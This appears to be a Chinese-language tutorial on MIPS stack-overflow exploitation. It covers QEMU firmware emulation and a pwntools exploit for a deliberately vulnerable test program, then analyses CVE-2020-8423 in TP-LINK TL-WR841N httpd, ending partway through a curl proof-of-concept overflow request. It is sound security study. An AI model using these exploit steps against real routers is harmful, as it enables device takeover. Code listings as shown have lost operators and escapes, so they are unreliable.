mips架构下二进制漏洞入门笔记，最后调试TP-LINK路由器的一个栈溢出漏洞作为练习。内容较多，请耐心阅读。
环境搭建搭建环境：Ubuntu
工具安装
SquashFS：用于Linux内核的只读文件系统
sudo apt-get install zlib1g-dev liblzma-dev liblzo2-dev
sudo git clone http://github.com/devttys0/sasquatch
cd sasquatch && sudo ./build
Binwalk:貌似是目前唯一可靠的解bin包的工具。
sudo apt-get install binwalk
Ghidra:NAS开源的反汇编工具
安装java环境，直接运行ghidraRun.bat(Windows)或者ghidraRun(Linuxs / Mac OS)，中途会要求jdk路径（/usr/libexec/java_home -V 获取jdk路径）
sudo ./ghidraRun
官网下载
简单体验了一下这个工具，比起IDA这个工具在函数和变量自动命名上更加有条理，并且反汇编和伪代码自动对应功能用起来也更方便。最重要的是可以反汇编Mips！
环境安装
Qemu安装
sudo apt-get install qemu
交叉编译环境buildroot
sudo apt-get install libncurses5-dev patch
wget http://buildroot.uclibc.org/downloads/snapshots/buildroot-snapshot.tar.bz2
tar -jxvf buildroot-snapshot.tar.bz2
cd buildroot/
make clean
make menuconfig
sudo make
进入menuconfig之后，选择目标架构Mips32（需要注意mips包含大端mips和小端mipsel）。配置结束之后使用make编译工具链即可。
安装完成之后设置环境变量，在/etc/profile结尾加上
export PATH=$PATH:/.../buildroot/output/host/bin;
编译第一个mips程序
#include<stdio.h>
#include <stdlib.h>
#include <string.h>
void backdoor(){
system("/bin/sh");
}
void has_stack(char *src)
{
char dst[20]={0};
strcpy(dst,src);
printf("copy successfully");
}
void main(int argc,char *argv[])
{
has_stack(argv[1]);
}
默认编译小端程序。注意需要加-static静态编译，因为我们qemu运行环境并没有包含C标准库。
$ mipsel-linux-gcc vuln.c -o vuln -static
$ file vuln
vuln: ELF 32-bit LSB executable, MIPS, MIPS32 version 1 (SYSV), statically linked, not stripped
编译大端程序。需要加-EB参数，但是仅仅加-EB会导致ld报错，主要原因是ld也需要加-EB参数。所以我们需要编译和链接分开。如果要编译成共享库，上下加上-shared参数。（ld时还是存在问题）
$ mipsel-linux-gcc -EB -c -static vuln.c -o vuln.o
$ mipsel-linux-ld vuln.o -EB -o vuln
使用qemu-mipsel运行我们的小端程序
$ qemu-mipsel vuln "123"
copy successfully
大端程序可以用H4lo师傅的工具链构造mips编译环境,在里面找到了用apt就能直接安装的交叉编译工具链，以后也不用自己编译了！
sudo apt-get install linux-libc-dev-mipsel-cross
sudo apt-get install libc6-mipsel-cross libc6-dev-mipsel-cross
sudo apt-get install binutils-mipsel-linux-gnu
sudo apt-get install gcc-${VERSION}-mipsel-linux-gnu g -${VERSION}-mips-linux-gnu
用mips-linux-gnu-gcc编译大端程序
$ mips-linux-gnu-gcc vuln.c -o vuln -static
$ file vuln
vuln: ELF 32-bit MSB executable, MIPS, MIPS32 rel2 version 1 (SYSV), statically linked, for GNU/Linux 3.2.0, BuildID[sha1]=a940ead4f05cbe960bbd685229c01695ef7cea38, not stripped
（*）Qemu运行Mips Linux内核
http://people.debian.org/~aurel32/qemu/mips/ 下载两个包
vmlinux内核文件和debian镜像（建议挂代理，否则很慢），建议使用3.2版本内核，老版本内核在gdbserver远程调试时会出现一些问题。并且请注意你下载的是mips还是mipsel版本。
#wget http://people.debian.org/~aurel32/qemu/mips/vmlinux-2.6.32-5-4kc-malta
wget http://people.debian.org/~aurel32/qemu/mips/vmlinux-3.2.0-4-4kc-malta
wget http://people.debian.org/~aurel32/qemu/mips/debian_squeeze_mips_standard.qcow2
使用qemu运行mips debian，账号和密码都是root。
Qemu有主要如下两种运作模式，User Mode和System Mode。
Qemu系统模式命令如下
$ sudo qemu-system-mips -M malta -kernel vmlinux-2.6.32-5-4kc-malta -hda debian_squeeze_mips_standard.qcow2 -append "root=/dev/sda1 console=tty0" -net nic,macaddr=00:0c:29:ee:39:39 -net tap -nographic
调试路由器固件的运行环境
测试固件版本：:DIR-605L A1 FW v1.13 下载地址
首先用binwalk解包官网下载的固件DIR605LA1_FW113b06.bin
binwalk -e DIR605LA1_FW113b06.bin
搜索boa（web服务程序）并且使用qemu-mips运行。首先复制qemu-mips到当前目录，然后用chroot设置根目录，然后用qemu-mips运行boa。不过出现了Not a direcotry的问题，这里需要用qemu-mips-static来运行。
$ cp $(which qemu-mips) ./
$ sudo chroot qemu-mips ./squashfs-root-0/bin/boa
chroot: cannot change root directory to 'qemu-mips': Not a directory
安装qemu-mips-static
sudo apt-get install qemu binfmt-support qemu-user-static
改用qemu-mips-static运行
/squashfs-root-0$ cp $(which qemu-mips) ./
/squashfs-root-0$ sudo chroot . ./qemu-mips-static ./bin/boa
Initialize AP MIB failed!
qemu: uncaught target signal 11 (Segmentation fault) - core dumped
Segmentation fault (core dumped)
运行web服务的/bin/boa程序发生段错误，提示Initialize AP MIB failed!
通过file文件和你想分析，我们可以知道boa文件动态链接到uclibc链接库，uclibc是应用于嵌入式设备的一种小型C运行库，free和malloc的实现和glibc有一定区别，利用手法也有一些不同，当然这是后话暂且不表。
$ file ./bin/boa
./bin/boa: ELF 32-bit MSB executable, MIPS, MIPS-I version 1 (SYSV), dynamically linked, interpreter /lib/ld-uClibc.so.0, corrupted section header size
在Ghidra中搜索Initialize AP MIB failed!,当apmid_init()执行失败了之后就会返回0，导致Web服务启动失败。经过分析apmid_init()来自于动态链接库apmid.so，来自文件根目录下的lib文件夹。又因为,apmid_init()对于我们的测试并没有决定性影响，所以可以考虑用hook的方式，强制让apmid_init()函数值返回1。
iVar1 = apmib_init();
if (iVar1 == 0) {
puts("Initialize AP MIB failed!");
}
使用LD_PRELOAD来Hook函数，首先编写如下代码，并且编译成动态共享库。
#include<stdio.h>
#include<stdlib.h>
int apmib_init()
{
printf("hook apmib_init()
");
return 1;
}
mips-linux-gnu-gcc -Wall -fPIC -shared apmib.c -o apmib-ld.so
-fPIC 作用于编译阶段，告诉编译器产生与位置无关代码(Position-Independent Code)，
则产生的代码中，没有绝对地址，全部使用相对地址，故而代码可以被加载器加载到内存的任意
位置，都可以正确的执行
运行时设置环境变量LD_PRELOAD(优先加载)=”/apmib-ld.so”，但是运行又出了一点问题。
$ sudo chroot ./ ./qemu-mips-static -E LD_PRELOAD="./apmib-ld.so" ./bin/boa
./bin/boa: can't load library 'libc.so.6'
默认链接库名为libc.so.6，所以我们这里尝试去复制uclibc的libc.so.0，再次运行，发现hook成功了。当然我发现使用LD_PRELOAD=”libc.so.0”参数也可以解决问题。这里大家可以举一反三一下，思考如何将动态链接的mips elf（我们之前都是编译的静态链接程序）通过qemu的user mode运行起来？
cp lib/libc.so.0 lib/libc.so.6
$ sudo chroot ./ ./qemu-mips-static -E LD_PRELOAD="./apmib-ld.so" ./bin/boa
hook apmib_init()
Create chklist file error!
Create chklist file error!
qemu: uncaught target signal 11 (Segmentation fault) - core dumped
Segmentation fault (core dumped)
或者
sudo chroot ./ ./qemu-mips-static -E LD_PRELOAD="./libc.so.0 ./apmib-ld.so" ./bin/boa
不过还是报了两个错，接下来只需要按照原理的思路，继续去分析，写出最终的链接库版本。
#include<stdio.h>
#include<stdlib.h>
#define MIB_IP_ADDR 170
#define MIB_HW_VER 0x250
#define MIB_CAPTCHA 0x2c1
int apmib_init()
{
printf("hook apmib_init()
");
return 1;
}
int fork(void)
{
return 0;
}
void apmib_get(int code,int* value)
{
switch(code)
{
case MIB_HW_VER:
*value = 0xF1;
break;
case MIB_IP_ADDR:
*value = 0x7F000001;
break;
case MIB_CAPTCHA:
*value = 1;
break;
}
return;
}
QEMU chroot进行本地固件调试
漏洞相关
pwntools是一个CTF框架和漏洞利用开发库。它是用Python编写的，旨在用于快速原型开发和开发，旨在使漏洞利用程序编写尽可能简单。pwntools官网
Gdb-Multiarch :能够调试多个架构（包括Mips）的gdb调试工具
apt-get install gdb-multiarch
安装peda插件
git clone http://github.com/longld/peda.git ~/peda
echo "source ~/peda/peda.py" >> ~/.gdbinit
安装pwndbg插件，安装完成之后进入vim ~/.gdbinit将修改插件为pwndbg
git clone http://github.com/pwndbg/pwndbg
cd pwndbg
./setup.sh
gdbserver（mips）
可以自己编译mips版本的也可以下载别人编译好的mips版本gdbserver。
git clone http://github.com/rapid7/embedded-tools.git
git clone http://github.com/hugsy/gdb-static
git cloen http://github.com/akpotter/embedded-toolkit
qemu和gdb调试
用户模式调试
$ qemu-mipsel -g 9000 vuln
$ gdb-multiarch -q
(gdb) target remote 127.0.0.1:9000
gdb命令
因为mips架构下peda插件无法正常运行，所以需要复习一下gdb的一些基础命令
break 下断点
delete 删除断点
continue 运行到下一个断点
backtrace 回溯堆栈调用信息
info 输出信息 比如 info f输出frame信息，info locals输出当前栈所有局部变量 info registers输出寄存器内容
输出命令x/20i
输出数据（64位格式）x/20xw
输出数据（32位格式）x/20xg
ROPgadgets
$ git clone http://github.com/JonathanSalwan/ROPgadget.git && cd ROPgadget
$ sudo pip install capstone
$ python setup.py install
$ ROPgadget
Mipsrop
将下载好的python脚本放入ida的plugins目录
http://github.com/tacnetsol/ida/blob/master/plugins/mipsrop/mipsrop.py
http://github.com/SeHwa/mipsrop-for-ida7 #ida7
简介：MIPS是一种采取精简指令集（RISC）的指令集架构，是一种高性能的嵌入式CPU架构，广泛被使用在许多电子产品、网络设备、个人娱乐设备与商业设备上（比如龙芯），在路由器领域也被广泛应用。
Mips常用命令
命令格式用途lwlw R1, 0(R2)从存储器中读取一个word存储（Load）到register中swsw R1, 0(R2)把一个word从register中存储（store）到存储器中addiuaddiu R1,R2,#3将一个立即数#3加上R2内容之后存放到目标地址R1oror R1,R2,R3两个寄存器内容相或jalrjalr R1使用寄存器的跳转指令
这里只列举了部分比较典型的几类指令，不过已经足够理解Mips的栈溢出了。
Mips下寄存器的功能
REGISTERNAMEUSAGE$0$zero常量0(constant value 0)$1$at保留给汇编器(Reserved for assembler)$2-$3$v0-$v1函数调用返回值(values for results and expression evaluation)$4-$7$a0-$a3函数调用参数(arguments)$8-$15$t0-$t7暂时的(或随便用的)$16-$23$s0-$s7保存的(或如果用，需要SAVE/RESTORE的)(saved)$24-$25$t8-$t9暂时的(或随便用的)$28$gp全局指针(Global Pointer)$29$sp堆栈指针(Stack Pointer)$30$fp帧指针(Frame Pointer)$31$ra返回地址(return address)
MIPS特点：
- MIPS和MIPSEL是两种架构MIPS是大端序、MIPSEL是小端序。一般来说大端序列是主流的（和x86和arm相反），不过很多CTF题目都是小端序的。（大端调试需要在gdb和pwntools都特别设置，否则默认小端）
- 不支持NX（即使编译选项添加了也没有用）不支持NX即函数的栈/bss都是可执行的，当我们的写入栈中的shellcode能够被执行，大大降低了利用难度。
- 叶子函数和非叶子函数在MIPS体系架构下，函数分为叶子函数和非叶子函数。MIPS函数的调用过程与x86不同，x86中函数A调用函数B时，会将A函数的地址压入堆栈中，等到函数B执行完毕返回A函数时候，再从堆栈中弹出函数A的地址。而MIPS中，如果是叶子函数，与x86是不同的，函数的返回地址是不会压入栈中的，而是会直接存入寄存器$ra中。如果是非叶子函数（即函数中还调用了其他函数），则和x86类似，将地址存入栈中。另外Mips是没有栈底指针的，只有一个$sp指向栈顶，并且不会像x86那样通过pop或者push调整指针，而是采用偏移寻址来访问变量。非叶子函数如图所示，在函数头部会将调用函数的返回地址即$ra存放在栈底（偏移4字节），而在函数快结束时会重新将该值取去出来，放入ra。在这个间段内，如果覆盖了函数栈底，就能够控制程序的流程。 而在叶子函数如下图所示，从函数被调用开始到函数jr ra返回调用函数，数据一直都在$ra寄存器中，所以理论上是无法利用的。但是如果缓冲区溢出的足够多，足够越过本函数的栈底，直到覆盖到调用函数的栈底，那么也是能够利用的。
- 内存中的数据访问（store/load）必须严格对齐（至少4字节）
- 流水线效应：本应顺序执行的几条指令同时执行，只不过处于不同的执行阶段（一般指令执行阶段包括：取指、间指、执行、中断）如下图所示，参考二次重叠执行方式，第一条指令在执行时候，第二条指令在分析，第三条指令在取指。举个栗子，流水线会在跳转指令(jal)导致分支延迟效应，任何一个分支跳转语句后面的那条语句叫做分支延迟槽。当它刚把要跳转到的地址填充好还没完成本条指令时，分支语句后面的那个指令（第三条指令）就执行了。所以下面strrchr函数的参数($a0)实际上来自于$0 而不是来自于$2。这是在看Mips汇编的时候需要注意的。mov $a0,$s2 jalr strrchr //arg $a0 mov $a0,$s0
- 缓存不一致性（Cache incoherency）：指令Cache和数据Cache两者的同步需要一个时间来同步。需要调用Sleep来让shellcode从数据Cache刷新到指令Cache，否则会执行失败，不能像x86架构下直接跳转到shellcode，而是需要构造一条ROP链接，先调用sleep，然后在跳转到shellcode。
栈溢出实例
还是用我们一开始的vuln程序进行溢出
qemu运行
qemu-mipsel -g 9000 vuln aaaaaa
gdb远程调试
$ qemu-mipsel -g 9000 vuln
$ gdb-multiarch -q
(gdb) target remote 127.0.0.1:9000
对has_stack函数下断点。首先查看strcpy的两个参数，首先是strcpy的src，lw a1,56(s8)即从s8寄存器（实际上值和sp是相同的，都是指向栈顶）数据偏移56（ 56）的数据写入寄存器a1，即通过s8 56偏移可以获得地址0x76fff2c7，这个地址即存放我输入的aaaa数据。然后我们来看dest，即发生写入的地址，这个参数默认被放在a0里，即s8偏移24位。这样我们就能够计算需要多少数据能覆盖缓冲区了。
然后让我们运行到strcpy结束，能够看到我们写入的数据（sp偏移24）。而我们知道返回地址是sp偏移4位，因为这条汇编代码 004003e8 34 00 bf af sw ra,local_4(sp)，所以我们只需要写入20 4字节数据就能覆盖返回地址。
即下图所示的位置。
经过实际测试我们输入28 4个字节能够覆盖到返回地址，下图中也显示程序的流程被我们所控制。
接下来让我们写一个简单的exploit，运行exp就能获得shell（不过不是qemu里面的shell，而是系统的shell，这点很奇怪，也许是qemu用户模式并没有挂文件系统和内核的缘故）
from pwn import *
context.binary = "vuln"
back_door=0x0400390
payload=p32(0x12345678)*7 p32(back_door)
print(payload)
io=process(argv=["qemu-mipsel", "./vuln" , payload])
#context.log_level='Debug'
io.interactive()
这里贴上一个链接，方便指令集查阅http://blog.csdn.net/gujing001/article/details/8476685
CVE-2020-8423漏洞设备：TP-LINK TL-WR841N V10
漏洞原因：栈溢出
配置运行环境CVE-2020-8423是TP-LINK路由器中http服务在解析用户HTTP头中字符串没有设置正确的缓冲区大小而导致的栈溢出。
因为手头没有真机，所以我们选择用qemu来模拟路由器。
Qemu System模式运行
首先下载路由器对应版本的固件,然后使用binwalk对固件进行解压。
binwalk -Me TL-WR841N_V10_150310.zip
cd _TL-WR841N_V10_150310.zip.extracted/_wr841nv10_wr841ndv10_en_3_16_9_up_boot(150310).bin.extracted/squashfs-root/
首先我们需要桥接qemu，使得我们能够传输我们的文件系统squashfs-root到虚拟机中。这部分比较麻烦而且容易忘记，所以记录一下。启动系统用下面的命令就可以了(这个固件是32位的，请不要用64位qemu运行)。如果启动不起来或者很慢，重新下一下qcow2，可能之前的某些操作把镜像弄坏了。
sudo qemu-system-mips -M malta -kernel /home/migraine/Documents/vmlinux-2.6.32-5-4kc-malta -hda /home/migraine/Documents/debian_squeeze_mips_standard.qcow2 -append "root=/dev/sda1 console=tty0" -net nic, -net tap -nographic
#更换内核(wget http://people.debian.org/~aurel32/qemu/mips/vmlinux-3.2.0-4-4kc-malta)
sudo qemu-system-mips -M malta -kernel /home/migraine/Documents/vmlinux-3.2.0-4-4kc-malta -hda /home/migraine/Documents/debian_squeeze_mips_standard.qcow2 -append "root=/dev/sda1 console=tty0" -net nic, -net tap -nographic
映射端口 -redir tcp:80::8080
配置桥接
我们需要将文件系统传入虚拟机中然后运行固件，为了能让qemu和宿主机传输文件，先要配置桥接网络(参考链接)
1.配置桥接网卡
安装bridge-utils和uml-utilities
sudo apt-get install bridge-utils
sudo apt-get install uml-utilities
然后修改/etc/network/interfacces为
auto lo
iface lo inet loopback
auto eth0
iface eth0 inet manual
up ifconfig eth0 0.0.0.0 up
auto br0
iface br0 inet dhcp
bridge_ports eth0
bridge_stp off
bridge_maxwait 1
编辑/etc/qemu-ifup，使qemu在启动中自动将网卡(Default:tap0/tap1)加入到桥接网卡。这是关键的一步。
#!/bin/sh
echo "Executing /etc/qemu-ifup"
echo "Bringing up $1 for bridged mode..."
sudo /sbin/ifconfig $1 0.0.0.0 promisc up
echo "Adding $1 to br0..."
sudo /sbin/brctl addif br0 $1
#sudo ifconfig br0 10.211.55.6/24
sleep 3
重启后我们主机的ip会多一个桥接。
2.配置桥接网卡的地址
接着让我们设置桥接的地址。比如我目前宿主机（运行在parralell下）的地址是10.211.55.5，所以我使用命令 ifconfig br0 10.211.55.6/24 up 修改桥接网卡(或者在etc/qemu-ifup中加上sudo ifconfig br0 10.211.55.6/24 ，这样只要qemu开启就会自动设置br0)。
然后我们在qemu中也用ifconfig设置ip为10.211.55.7/24，这样宿主机和qemu就能够相互ping通了。（只要在同一网段即可）
#在虚拟机内部
ifconfig eth0 10.211.55.7/24 up
#在虚拟机外部(设置桥接)
ifconfig br0 10.211.55.6/24 up
需要注意的是：要保证qemu内的ip子网掩码和桥接网卡一致，否则虽然宿主机和qemu都可以访问桥接网卡，但是两者不能相互通信。
尝试去ping宿主机。然后通过scp来传输文件。
root@debian-mips:~# ifconfig eth0 10.211.55.7/24 up
root@debian-mips:~# ifconfig
eth0 Link encap:Ethernet HWaddr 00:0c:29:ee:39:39
inet addr:10.211.55.6 Bcast:10.211.55.255 Mask:255.255.255.0
inet6 addr: fe80::20c:29ff:feee:3939/64 Scope:Link
UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1
RX packets:0 errors:0 dropped:0 overruns:0 frame:0
TX packets:13 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:1000
RX bytes:0 (0.0 B) TX bytes:2862 (2.7 KiB)
Interrupt:10 Base address:0x1020
#将文件系统传入qemu虚拟机
scp -r squashfs-root/ root@10.211.55.7:~/
传输文件，然后在qemu中就能看到我们传输的文件了。
sshpass -p root scp -r squashfs-root/ root@10.211.55.7:~/
挂载固件的文件系统
挂载系统的proc到我们固件目录下的proc.这样我们的程序在访问一些内核信息时候能够读取到，否则程序可能会运行错误。
# 挂载文件系统
mount --bind /proc squashfs-root/proc
# 更换root目录
chroot . bin/sh
/usr/bin/httpd
运行会报很多错误，参考H4lo师傅的方法hook一下函数来解决问题。将我们编译好的链接库通过scp传入到Qemu虚拟机中。
#mips-linux-gnu-gcc -shared -fPIC hook.c -o hook
#include<stdio.h>
#include<stdlib.h>
int system(const char *command){
printf("HOOK: system("%s")",command);
return 1337;
}
int fork(void){
return 1337;
}
重新运行，遇到/usr/bin/httpd: can't load library 'libc.so.6这种问题，使用软链接解决即可。
# 挂载文件系统
$ mount --bind /proc squashfs-root/proc
# 更换root目录
$ cd squashfs-root/
$ chroot . bin/sh
$ LD_PRELOAD="/hook" /usr/bin/httpd
$ /usr/bin/httpd: can't load library 'libc.so.6'
$ ln -s libc.so.0 libc.so.6
$ LD_PRELOAD="/hook" /usr/bin/httpd
#gdb调试
export LD_PRELOAD="/hook"
#./gdbserver-7.12-mips-be 0.0.0.0:2333 /usr/bin/httpd #这个版本的gdb挂起有点问题
./gdbserver.mipsbe 0.0.0.0:2333 /usr/bin/httpd
进入Web后台界面时候，登陆账号（账号密码都是admin）
其他问题
- 设置桥接之后主机无法联网的问题初始化网桥时候将dns给删了,添加一下dns即可。修改文件 /etc/resolvconf/resolv.conf.d/basenameserver 8.8.8.8 nameserver 8.8.4.4 执行更新resolvconf -u
- ssh或者scp报错Unable to negotiate with 10.211.55.8 port 22: no matching host key type found. Their offer: ssh-dss添加参数-oHostKeyAlgorithms= ssh-dss -oKexAlgorithms= diffie-hellman-group1-sha1,比如：$ ssh root@10.211.55.8 -oHostKeyAlgorithms= ssh-dss -oKexAlgorithms= diffie-hellman-group1-sha1 $ sshpass -p root scp -oHostKeyAlgorithms= ssh-dss -oKexAlgorithms= diffie-hellman-group1-sha1 gdbserver-7.12-mips-be root@10.211.55.8:~/
gdb调试
使用scp将gdbserver拷贝到squashfs-root目录下
scp r gdbserver.mipsbe root@10.211.55.7:~/squashfs-root/
使用gdbserver将httpd调试转发到2333端口
export LD_PRELOAD="/hook"
./gdbserver-7.12-mips-be 0.0.0.0:2333 /usr/bin/httpd
宿主机的gdb通过remote target进行远程调试。如果报错Remote replied unexpectedly to 'vMustReplyEmpty': timeout。需要将内核版本从vmlinux-2.6.32-5-4kc-malta更换为vmlinux-3.2.0-4-4kc-malta
用Ghidra逆向分析/usr/bin/httpd 文件,stringModify包含三个参数，分别是dst、len、src，很明显是拷贝函数。经过分析可以知道stringModify主要用于拷贝string并且对其进行一定的过滤，包括对转义字符的修改，对于 和 的转义等。但是函数并没有包含对dst的检查，以及对len的限制，如果使用者dst创建的过小就有可能产生栈溢出ou。（就相当于一个对字符有一定转义作用的strcpy）
当然，还有一个最有趣，并且直接导致漏洞的是，生成</br>的时候，写入了4个字节的数字，但是记录长度的iVar3变量却只加了1，导致理论上我们能够输入len长度4倍大数据，这样能够直接对任何调用stringModify的函数产生缓冲区溢出。
参考poc中输入/ （或者/ ）会而页面会输出/<br>，(0x0a对应 ,0x0d对应 )，可见我们出触法了生成<br>的代码。下面是这段代码经过stringModify转义分析。注意代码中只对单独存在的 进行转义（连续的 并不会触发这个漏洞点），这就是为什么我们输入的 之间需要用其他符号隔开（经过实验证明，把换成<之类的符号也可以溢出成功）。（ 转义成 的部分我没有找到代码，但是理论上应该有一个函数在我们进入StringModify之前实现了转义，其实这个就是前端的基础编码。。）
转义前转义后输出/\// <br>
int stringModify(char *dst,int len,int src)
{
char cVar1; //作为临时存储src单个字节内容
char *pcVar2; //指向src的指针
int iVar3; //返回值（返回String的长度）
/*首先判断拷贝地址dst是否为0，将pcVar2指针指向src 1的位置*/
if ((dst == (char *)0x0) || (pcVar2 = (char *)(src 1), src == 0)) {
iVar3 = -1;
}
else {
iVar3 = 0; //初始化返回值为0
while( true ) {
cVar1 = pcVar2[-1]; //访问拷贝来源src的首部，并且作出判断
if ((cVar1 == ' ') || (len <= iVar3)) break; //判断是否截断，长度是否一致
if (cVar1 == '/') { /*当字符是转移字符''时候*/
LAB_0043bb48:
*dst = '\'; //判断转义字符'/'，并且将转义字符转化为'\'
LAB_0043bb4c:
iVar3 = iVar3 1; //返回的length 1
dst = dst 1; //dst指针向后移动一位
LAB_0043bb54:
*dst = pcVar2[-1]; //将转译字符的一位数据，添加也添加到dst中
dst = dst 1; //dst指针继续向后移动
}
else {
if ('/' < cVar1) {
if ((cVar1 == '>') || (cVar1 == '\')) goto LAB_0043bb48;
if (cVar1 == '<') {
*dst = '\';
goto LAB_0043bb4c;
}
goto LAB_0043bb54;
}
if (cVar1 != '
') {
if (cVar1 == '"') goto LAB_0043bb48;
if (cVar1 != '
') goto LAB_0043bb54;
}
/*将
或者
转化为html中的<br>*/
if ((*pcVar2 != '
') && (*pcVar2 != '
')) { //这部分检测src序列是否包含重复
或者
*dst = '<';
dst[1] = 'b';
dst[2] = 'r';
dst[3] = '>';
dst = dst 4; //写入4个字节，但是iVar3每次只会 1
}
}
iVar3 = iVar3 1;
pcVar2 = pcVar2 1;
}
*dst = ' ';
}
return iVar3;
}
让我们去源代码里搜索调用stringModify而可能产生栈溢出的地方。 于是我们找到了writePageParamSet函数。
void writePageParamSet(undefined4 param_1,char *param_2,int *param_3)
{
int iVar1;
undefined *puVar2;
undefined local_210 [512];
if (param_3 == (int *)0x0) {
HTTP_DEBUG_PRINT("basicWeb/httpWebV3Common.c:178","Never Write NULL to page, %s, %d",
"writePageParamSet",0xb2);
}
iVar1 = strcmp(param_2,""%s","); //判断匹配字符串
if (iVar1 == 0) {
iVar1 = stringModify(local_210,0x200,param_3); //调用stringModify
if (iVar1 < 0) {
printf("string modify error!");
local_210[0] = 0;
}
puVar2 = local_210;
}
else {
iVar1 = strcmp(param_2,"%d,");
if (iVar1 != 0) {
return;
}
puVar2 = (undefined *)*param_3;
}
httpPrintf(param_1,param_2,puVar2);
return;
}
然后继续回溯，我们找到了会使得writePageParamSet调用stringModify的函数，UndefinedFunction_0045fa94。UndefinedFunction_0045fa94函数在取出ssid的时候，将ssid放入一个很小的缓冲区acStack3080中，并且没有对长度进行限制，导致能够产生栈溢出。
初学Ghidra，所以让我们分析一下他的变量分析方式，就拿我们溢出的缓冲区acStack3460来说，在Mips汇编的表示为0xcc(sp)，即距离栈顶（地址较小的那一端）0xcc距离的内存地址（buffer=sp 0xcc），让我们继续想下看，uint类型uStack3424的地址为0xe4(sp),即地址为sp 0xf0。两者之差(36)即acStack3460的默认空间。
让我们再找一找返回值的地址，0xe4c(sp)距离sp 0xe4c 个字节。
经过审计，我们发现通过ssid参数，我们可以写入超量的数据而不会被限制，当然，距离ret地址还是有一些远的，在调用writePageParamSet(param_1,&DAT_00544d38,acStack3460,0);会调用stringModify。将这个超量的数据写入writePageParamSet栈中的512字节的buffer，造成缓冲区溢出。另外，需要注意的是我们还需要设置其他几个参数，因为这几个参数在ssid(acStack3460)的缓冲区下面，如果设置为默认值0x1则会产生x00而截断我们的超长数据。
0x00 | |
| ssid |
| |
0x24 | curRegion |
0x28 | channel |
0x2c | chanWidth |
0x30 | mode |
0x34 | wrr |
0x38 | sb |
0x3c | select |
0x40 | rate |
...
0x?? | return addr |
而代码中的"/userRpm/popupSiteSurveyRpm.htm"则提醒着我们在测试时url的目录为“/userRpm/popupSiteSurveyRpm.htm”
代码做了一些删减，完整版见附录：
int UndefinedFunction_0045fa94(undefined4 param_1)
{
...
char acStack3460 [36]; //创建36字节的buffer
...
memset(acStack3460,0,0x44);
uStack3612 = 0;
pcVar9 = (char *)httpGetEnv(param_1,"ssid");//从http请求头中取出ssid
if (pcVar9 == (char *)0x0) {
acStack3460[0] = ' ';
}
else {
__n = strlen(pcVar9);/*将ssid的数据写入buffer中*/
strncpy(acStack3460,pcVar9,__n);//BufferOverflow
}
//顺便审计一下剩下的代码有没有漏洞
pcVar9 = (char *)httpGetEnv(param_1,"curRegion");
if (pcVar9 == (char *)0x0) {
uStack3424 = 0x11;
}
else {
uStack3612 = atoi(pcVar9);
if (uStack3612 < 0x6c) {
uStack3424 = uStack3612;
}
}
pcVar9 = (char *)httpGetEnv(param_1,"channel");
if (pcVar9 == (char *)0x0) {
uStack3420 = 6;
}
else {
uStack3612 = atoi(pcVar9);
if (uStack3612 - 1 < 0xf) {
uStack3420 = uStack3612;
}
}
pcVar9 = (char *)httpGetEnv(param_1,"chanWidth");
if (pcVar9 == (char *)0x0) {
uStack3416 = 2;
}
else {
uStack3612 = atoi(pcVar9);
if (uStack3612 - 1 < 3) {
uStack3416 = uStack3612;
}
}
pcVar9 = (char *)httpGetEnv(param_1,"mode");
if (pcVar9 == (char *)0x0) {
uStack3412 = 1;
}
else {
uStack3612 = atoi(pcVar9);
if (uStack3612 - 1 < 8) {
uStack3412 = uStack3612;
}
}
pcVar9 = (char *)httpGetEnv(param_1,&DAT_00548138);
if (pcVar9 != (char *)0x0) {
iVar1 = strcmp(pcVar9,"true");
if ((iVar1 == 0) || (iVar1 = atoi(pcVar9), iVar1 == 1)) {
uStack3408 = 1;
}
else {
uStack3408 = 0;
}
}
pcVar9 = (char *)httpGetEnv(param_1,&DAT_0054813c);
if (pcVar9 != (char *)0x0) {
iVar1 = strcmp(pcVar9,"true");
if ((iVar1 == 0) || (iVar1 = atoi(pcVar9), iVar1 == 1)) {
uStack3404 = 1;
}
else {
uStack3404 = 0;
}
}
pcVar9 = (char *)httpGetEnv(param_1,"select");
if (pcVar9 != (char *)0x0) {
iVar1 = strcmp(pcVar9,"true");
if ((iVar1 == 0) || (iVar1 = atoi(pcVar9), iVar1 == 1)) {
uStack3400 = 1;
}
else {
uStack3400 = 0;
}
}
pcVar9 = (char *)httpGetEnv(param_1,&DAT_00548140);
if (pcVar9 != (char *)0x0) {
iStack3396 = atoi(pcVar9);
}
httpPrintf(param_1,
"<SCRIPT language="javascript" type="text/javascript">
var %s = new Array(
",
"pagePara");
writePageParamSet(param_1,&DAT_00544d38,acStack3460,0);
writePageParamSet(param_1,"%d,",&uStack3424,1);
writePageParamSet(param_1,"%d,",&uStack3420,2);
writePageParamSet(param_1,"%d,",&uStack3416,3);
writePageParamSet(param_1,"%d,",&uStack3412,4);
writePageParamSet(param_1,"%d,",&uStack3408,5);
writePageParamSet(param_1,"%d,",&uStack3404,6);
writePageParamSet(param_1,"%d,",&uStack3400,7);
writePageParamSet(param_1,"%d,",&iStack3396,8);
httpPrintf(param_1,"0,0 );
</SCRIPT>
");
httpPrintf(param_1,"<script language=JavaScript>
var isInScanning = 0;
</script>");
if ((auStack3600[0] < 9) && ((1 << (auStack3600[0] & 0x1f) & 0x1c8U) != 0)) {
HttpWebV4Head(param_1,0,0);
pcVar9 = "/userRpm/popupSiteSurveyRpm_AP.htm";
}
else {
HttpWebV4Head(param_1,0,1);
pcVar9 = "/userRpm/popupSiteSurveyRpm.htm";
}
}
iVar1 = httpRpmFsA(param_1,pcVar9);
if (iVar1 == 2) {
return 2;
}
sVar10 = HttpErrorPage(param_1,10,0,0);
LAB_0045fa54:
return (int)sVar10;
}
我们使用curl发送HTTP请求给我们的路由器，测试漏洞是否存在。为了能够访问存在漏洞的服务，我们首先需要登陆，即我们需要抓取登陆后的cookie（此处为 YWRtaW46MjEyMzJmMjk3YTU3YTVhNzQzODk0YTBlNGE4MDFmYzM=）和path(此处为MKSRWOTBRLXMCITC)，然后作为发送参数。
使用curl来写入我们的payload，httpd发生段错误，并且程序控制流呗控制为0x61656161
curl -H 'Cookie: Authorization=Basic YWRtaW46MjEyMzJmMjk3YTU3YTVhNzQzODk0YTBlNGE4MDFmYzM=' 'http://10.211.55.8/YEHFDFSAMIIOATRA/userRpm/popupSiteSurveyRpm_AP.htm?mode=1000&curRegion=1000&chanWidth=100&channel=1000&ssid='$(python -c 'print( "/
